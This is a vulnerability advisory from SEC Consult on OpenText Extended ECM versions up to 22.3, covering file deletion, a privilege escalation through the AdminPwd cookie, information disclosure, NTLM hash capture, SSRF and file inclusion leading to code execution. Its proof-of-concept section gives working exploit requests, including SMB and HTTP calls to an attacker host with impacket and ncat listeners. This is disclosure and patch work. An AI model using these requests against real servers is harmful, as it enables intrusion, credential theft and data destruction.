OpenText Extended ECM 22.3 File Deletion / LFI / Privilege Escsalation

SEC Consult Vulnerability Lab Security Advisory < 20230117-2 >=======================================================================               title: Multiple post-authentication vulnerabilities including RCE             product: OpenText™ Content Server component of OpenText™ Extended ECM  vulnerable version: 16.2.2 - 22.3       fixed version: 22.4          CVE number: CVE-2022-45924, CVE-2022-45922, CVE-2022-45925,                      CVE-2022-45926, CVE-2022-45928              impact: High            homepage: https://www.opentext.com/               found: 2022-09-16                  by: Armin Stock (Atos)                      SEC Consult Vulnerability Lab                      An integrated part of SEC Consult, an Atos company                      Europe | Asia | North America                      https://www.sec-consult.com=======================================================================Vendor description:-------------------"OpenText™ Extended ECM is an enterprise CMS platform that securely governs theinformation lifecycle by integrating with leading enterprise applications, suchas SAP®, Microsoft® 365, Salesforce and SAP SuccessFactors®. Bringing contentand processes together, Extended ECM provides access to information when andwhere it’s needed, improves decision-making and drives operational effectiveness."Source: https://www.opentext.com/products/extended-ecmBusiness recommendation:------------------------The vendor provides a patch which should be installed immediately.Vulnerability overview/description:-----------------------------------1) Deletion of arbitrary files (CVE-2022-45924)The endpoint `itemtemplate.createtemplate2` allows a low privilege user todelete arbitrary files on the server's local filesystem.2) Privilege escalation due to logic error in cookie creation  (CVE-2022-45922)The request handler for a user accessible function sets a valid AdminPwd cookiethat allows access to unauthorized endpoints without knowing the password.3) xmlExport multiple vulnerabilities (CVE-2022-45925)3.1) Information disclosureThe action `xmlexport` accepts the parameter `requestContext`. If thisparameter is present, the response does include most of the `HTTP` headers sentto the server and some of the `CGI` variables like `remote_addr` and`server_name`.3.2) Capture of NTLM hashesThe action `xmlexport` accepts the parameter `transform` in combinationwith `stylesheet`. The `stylesheet` parameter can be a `nodeID` or a filepath.If a filepath is specified, the `ContentServer` tries to open the file. Asabsolute paths are allowed it is possible to provide a network share to forcethe `ContentServer` to open a connection to the network share. This allows anattacker to capture the `NTLM Hash` of the user running the `ContentServer`.4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)The endpoint `notify.localizeEmailTemplate` does allow a low privilege user toevaluate webreports. This can be used to perform a `Server Side Request Forgery(SSRF)` attack, with nearly full control of the actual request.5) Local File Inclusion allows Oscript execution (CVE-2022-45928)Multiple endpoints allow the user to pass the parameter `htmlFile`, which isincluded in the `HTML` output rendering pipeline of the request. As the`Content Server` evaluates and executes `Oscript` code in `HTML` files, it ispossible for an attacker to execute `Oscript` code. The `Oscript` scriptinglanguage allows the attacker for example to manipulate files on the filesystem,create new network connections or execute OS system commands.Proof of concept:-----------------1) Deletion of arbitrary files (CVE-2022-45924)As a first step the user has to create a new `Customer View Template` object via`/cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo` to get a valid`cacheID`. With the acquired `cacheID` the following request can be used todelete a file. The parameter `DefinitionFile` controls which file should bedeleted.-------------------------------------------------------------------------------http://opentext-dev/OTCS/cs.exe?func=itemtemplate.createtemplate2&objType=844&parentId=2000&cacheID=730440157&DefinitionFile=C:/temp/poc-del.txt-------------------------------------------------------------------------------2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)Sending the following request returns a new valid `AdminPwd` cookie.-------------------------------------------------------------------------------[ PoC removed, will be published at a later date ]-------------------------------------------------------------------------------Response:-------------------------------------------------------------------------------HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/json; charset=UTF-8Server: Microsoft-IIS/10.0Set-Cookie: LLCookie=7X%2BfmttVXssmR2fGiuA4%2BeDFI4%2FotYL4o%2BkpxBTZUWrlHqwvH%2BIg3BCPhuBhD%2B567K288n7PJNeZQkk75EmxtndEpU3chq3cFppnAQ7OAYMX%2Bvl09QntFKi9E%2BWekSdNU866093uXCT4IqYR1ofVfkoLKFwTiUf%2BhgrVKaB8aoLOLlBU5RIrNA%3D%3D; path=/OTCS/; httponlySet-Cookie: AdminPwd=oq6SNA9Db6yUl0vP1ucJkLuRhIYbvO3YdIujUbLLdzGMsygouzJlyuhDLTriq4C1XrMHxWYWkCeuxoZevX0%2BYyFMEevzZVXI6Fe82YBI3HnKu2Stq50vZ8bhPPQeBbXiW%2FRwgp8RHukHgnEWUq3axpUP5OHWCJj9V3Pj5%2FNNqJKie0gUv055KavSIj80Id4dXDiHVu%2FI6IXMhEb1Tm4EVLE1rjxMnpmZILTKds%2FkabH%2FanPx5Jl3YL%2BBkX0PiPe54guaWQj2ReTr1SW7Beomoriq2FrW%2BWK91OtMy%2BbrVTfgEZSRdRNIkA%3D%3D; path=/OTCS/; httponlyX-Powered-By: ASP.NETDate: Sat, 01 Oct 2022 17:57:54 GMTConnection: closeContent-Length: 221{"errMsg":"","ok":true,"sessionInactivity":1620000,"sessionLogoutURL":"?func=ll.DoLogout&secureRequestToken=STWVlmadtchZfgpCevUaWz%2FG%2BaDWVMAmJIByhcw6J3FRBkfQdUEyakxuWBKKZIfkujPUOp2jURQ%3D","sessionReactionTime":180000}-------------------------------------------------------------------------------3) xmlExport multiple vulnerabilities (CVE-2022-45925)3.1) Information disclosureSending the following request reveals sensitive information about therequest:-------------------------------------------------------------------------------GET /OTCS//cs.exe?func=ll&objAction=xmlexport&requestContext=T&objId=2004 HTTP/1.1Host: opentext-devUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: LLCookie=Ztn...Upgrade-Insecure-Requests: 1-------------------------------------------------------------------------------Response:-------------------------------------------------------------------------------HTTP/1.1 200 OKContent-Type: application/xmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sat, 01 Oct 2022 16:13:40 GMTConnection: closeContent-Length: 12581<?xml version="1.0" encoding="UTF-8"?><livelink Acls='false' appversion='16.2.0' AttributeInfo='false' CallbackHandlerName='{''}' ContentInline='false' DoingImport='false' ExtUserInfo='false' FollowAliases='false' ForImport='false' HandlerName='XmlExport' NodeInfo='false' Permissions='false' Schema='false' Scope='one' src='XmlExport'>   <context>     <user deleted='0' groupid='999' groupname='[Content Server Administration]' groupownerid='1000' grouptype='11' id='1000' name='Admin' ownerid='1000' spaceid='0' type='0' userprivileges='16777215'/>     <cgi auth_type='' content_length='0' content_type='' path_info='' query_string='func=ll&objAction=xmlexport&requestContext=T&objId=2004' remote_addr='$IP' remote_host='$IP' remote_user='' request_method='GET' script_name='/OTCS/cs.exe' server_name='opentext-dev' server_port='80' server_protocol='HTTP/1.1'/>     <http>       <header name='HTTP_ACCEPT' value='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'/>       <header name='HTTP_ACCEPT_ENCODING' value='gzip, deflate'/>       <header name='HTTP_ACCEPT_LANGUAGE' value='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3'/>       <header name='HTTP_CONNECTION' value='close'/>       <header name='HTTP_HOST' value='opentext-dev'/>       <header name='HTTP_UPGRADE_INSECURE_REQUESTS' value='1'/>       <header name='HTTP_USER_AGENT' value='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0'/>     </http>   </context>-------------------------------------------------------------------------------3.2) Capture of NTLM hashesSending the following request with a remote path as value for the`stylesheet` parameter initiates a SMB connection to the attacker's machine:-------------------------------------------------------------------------------GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt--------------------------------------------------------------------------------------------------------------------------------------------------------------$ sudo impacket-smbserver test /tmp -smb2supportImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation[*] Config file parsed[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0[*] Config file parsed[*] Config file parsed[*] Config file parsed[*] Incoming connection ($opentextIP,59639)[*] AUTHENTICATE_MESSAGE (\,DESKTOP-XXX)[*] User DESKTOP-XXX\ authenticated successfully[*] :::00::aaaaaaaaaaaaaaaa-------------------------------------------------------------------------------Important side effect:Specifying an existing file for the `stylesheet` parameter , which is not avalid stylesheet, results in an error. As this error skips the cleanup code thetemporary file `$OTCS_HOME\temp\xml\XslOutput_[digit]_[digit]` is not removed.The content of this file is partially controlled by the attacker, as itcontains the filename of the exported object. This could be further exploitedas documented in vulnerability 5).-------------------------------------------------------------------------------<?xml version="1.0" encoding="UTF-8"?>     **OBJECT NAME**-------------------------------------------------------------------------------4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)Sending the following request with the webreport source in the `msgBody`parameter allows the user to evaluate a webreport.-------------------------------------------------------------------------------POST /OTCS/cs.exe HTTP/1.1Host: opentext-devUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeCookie: LLCookie=zBH4...Origin: http://opentext-devConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 134func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>Username: [LL_REPTAG_USERNAME /]<@/urlencode>&fetch=foobar-------------------------------------------------------------------------------Response:-------------------------------------------------------------------------------HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: text/plain ;charset=UTF-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sat, 01 Oct 2022 18:33:29 GMTConnection: closeContent-Length: 19Username: Admin-------------------------------------------------------------------------------The tag `LL_WEBREPORT_RESTCLIENT` can be used to perform a`Server Side Request Forgery (SSRF)` attack, with nearly full control of theactual request.-------------------------------------------------------------------------------POST /OTCS/cs.exe HTTP/1.1Host: opentext-devUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeCookie: LLCookie=hRjOrigin: http://opentext-devConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 347func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>  [LL_WEBREPORT_RESTCLIENT @URI:"http://$attackerIP/" @METHOD:GET @RESPONSE:resp @HOST:$attackerIP @PORT:80 /]<@/urlencode>&fetch=<@urlencode>LL_WEB [ /] [LL_REPTAG_EOL /] LL_WEB_END<@/urlencode>--------------------------------------------------------------------------------------------------------------------------------------------------------------$ ncat -v -l 80Ncat: Version 7.92 ( https://nmap.org/ncat )Ncat: Listening on :::80Ncat: Listening on 0.0.0.0:80Ncat: Connection from $IP.Ncat: Connection from $IP:59856.GET http://$attackerIP/ HTTP/1.1Connection: Keep-AliveHost: $attackerIPUser-Agent: PocoAccept: */*-------------------------------------------------------------------------------Other dangerous tags could be `RUNSHELL`, `LL_FETCHURL` and `LL_WEBREPORT_CALL`The tag `LL_WEBREPORT_RESTCLIENT` is disabled by default in version 22.1.5) Local File Inclusion allows Oscript execution (CVE-2022-45928)One way to create a file on the server's filesystem with the desired `Oscript`code, is to use the vulnerability `3.2` and its side effect:* Create a file* Set the filename to the `Oscript` code, which should be executed (e.g.:   ``fArgs content: `.fArgs` ``)* Run the `xmlExport` action with an invalid `stylesheet` (should be done   multiple times to increase the hit change for the `LFI`)The temporary file `XslOutput_2_3` has the following content:-------------------------------------------------------------------------------<?xml version="1.0" encoding="UTF-8"?>     fArgs content: `.fArgs`-------------------------------------------------------------------------------To include the previously created file and execute its `Oscript` code, thefollowing request can be used.-------------------------------------------------------------------------------GET /OTCS/cs.exe?func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3 HTTP/1.1Host: opentext-devUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: LLCookie=gYkU6%2BmrbXPaZ87US9mHOswpXTZTyMujb3DmwyB8QglNf9TnicUFBS2%2BW2xv2rufPoyGb82bn3VuyMwvDckJpuncAOHxuIeTbPce%2B6RSn035HjDkk5b2b0rZyM%2FzbtIquS3bYOetho6kt3RYhvkl2ahLkHvhGtO6KUp%2BMX%2Fe43yTpBcw5g1umg%3D%3D; LLTZCookie=0; BrowseSettings=rm%2BT2O%2F0LEfyVN4tBpAlz8iw6wjD9YgjYihWC2sGyHOayyH0F8hfiQ%3D%3D; AdminPwd=CV6waXr6yPLjlL2OlABJf4ka0kmITRSOHWyZSpzRdfy0SvueX0YM%2B6KFPopV5ebviGckgD6K24tGD7HXiJ18UhvZQBS%2BBYSlBI%2BzI0JCeGSH76MxvN%2BogDT59s6MIHVP4PAqqL1YzQ9cRN4L6eZbdE2hySDTwUQTQlOrSoxJNS28IQMclNUnsgct11cbQgApGWazgFlph4brLk65xEfi%2BN%2FGs9rSEKAehMwc94MvoFZ%2B5LLOurbgZYCLaA0YIWuHIUdppEsBVmQKjYGsjyS%2BNcEvcuuiCm8g6C%2FtRIUl85i%2BGyNeFi1rAA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; tl=public_timeline; Accordion=Upgrade-Insecure-Requests: 1-------------------------------------------------------------------------------Response:-------------------------------------------------------------------------------HTTP/1.1 200 OKCache-Control: no-cacheContent-Type: text/html;charset=UTF-8Server: Microsoft-IIS/10.0X-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self'X-UA-Compatible: IE=edgeSet-Cookie: LLCookie=P7RTINkymKF2z1S8RQ6i0mjQKzaOb%2F2KNgFT5C2uBJZCgJ3sZ36Tll6LMvFDy3MC9DpjK00EXcIAROS7BHPtiMQTUqZ%2FVc6UtBXlW1%2FCljp1jDh1%2BUM05PJDhWzz1Xjzqnuw1iyIiCVDRBpgG9ztKGjSYngYLx6663COmbGleiMRgDlyufNcYw%3D%3D; path=/OTCS/; httponlyX-Powered-By: ASP.NETDate: Sun, 02 Oct 2022 10:37:09 GMTConnection: closeContent-Length: 5762<!DOCTYPE html><HTML LANG="en-US"><!-- ..... --></HEAD><?xml version="1.0" encoding="UTF-8"?>fArgs content: R<'_ExtendSessionTimeout'=true,'_REQUEST'='llweb','AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','func'='commdirectory.LookFeel','GATEWAY_INTERFACE'='CGI/1.1','htmlFile'='temp/xml/XslOutput_2_3','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','LLENVIRON_ASSOC'=A<1,?,'AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','GATEWAY_INTERFACE'='CGI/1.1','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_METHOD'='GET','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0'>,'LLPARAMS_LIST'=\{\{'func','commdirectory.LookFeel'},{'objid','49259'},{'menutype','375'},{'htmlFile','temp/xml/XslOutput_2_3'}},'LLSYSPARAMS_ASSOC'=A<1,?,'_uploadFilenames'={},'_uploadPath'='C:\\Windows\\TEMP\\'>,'menutype'=375,'objid'=49259,'PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_ID'='8f325fa0-7d39-42a7-bf8f-486cbcbf1042','REQUEST_METHOD'='GET','REQUEST_PROCESSING_DURATION'='0','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0','cdid'=0,'prgCtx'=#323b0f9,'TZOffset'=0></HTML>-------------------------------------------------------------------------------Vulnerable / tested versions:-----------------------------The following version has been tested:* 22.1 (16.2.19.1803)The following versions are vulnerable according to the vendor:* CVE-2022-45924: 20.4   - 22.3* CVE-2022-45922: 21.1   - 22.1* CVE-2022-45925: 16.2.2 - 22.3* CVE-2022-45926: 20.4   - 22.3* CVE-2022-45928: 16.2.2 - 22.3Vendor contact timeline:------------------------2022-10-07: Vendor contacted via [email protected]: Vendor acknowledged the email and is reviewing the reports2022-11-18: Vendor confirms all vulnerabilities and is working on a patch aimed to             be released in November2022-11-24: Vendor delays the patch "few days/weeks into December"2022-11-25: Requesting CVE numbers (Mitre)2022-12-15: Vendor delays the patch and provides a release date: January 16th 20232023-01-17: Public release of security advisorySolution:---------Upgrade to at least version 22.4 or apply hotfixes which can be downloaded atthe vendor's page:https://support.opentext.com/csm?id=kb_article_view&sysparm_article=KB0781429Workaround:-----------NoneAdvisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabSEC Consult, an Atos companyEurope | Asia | North AmericaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anAtos company. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: http://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Armin Stock / @2023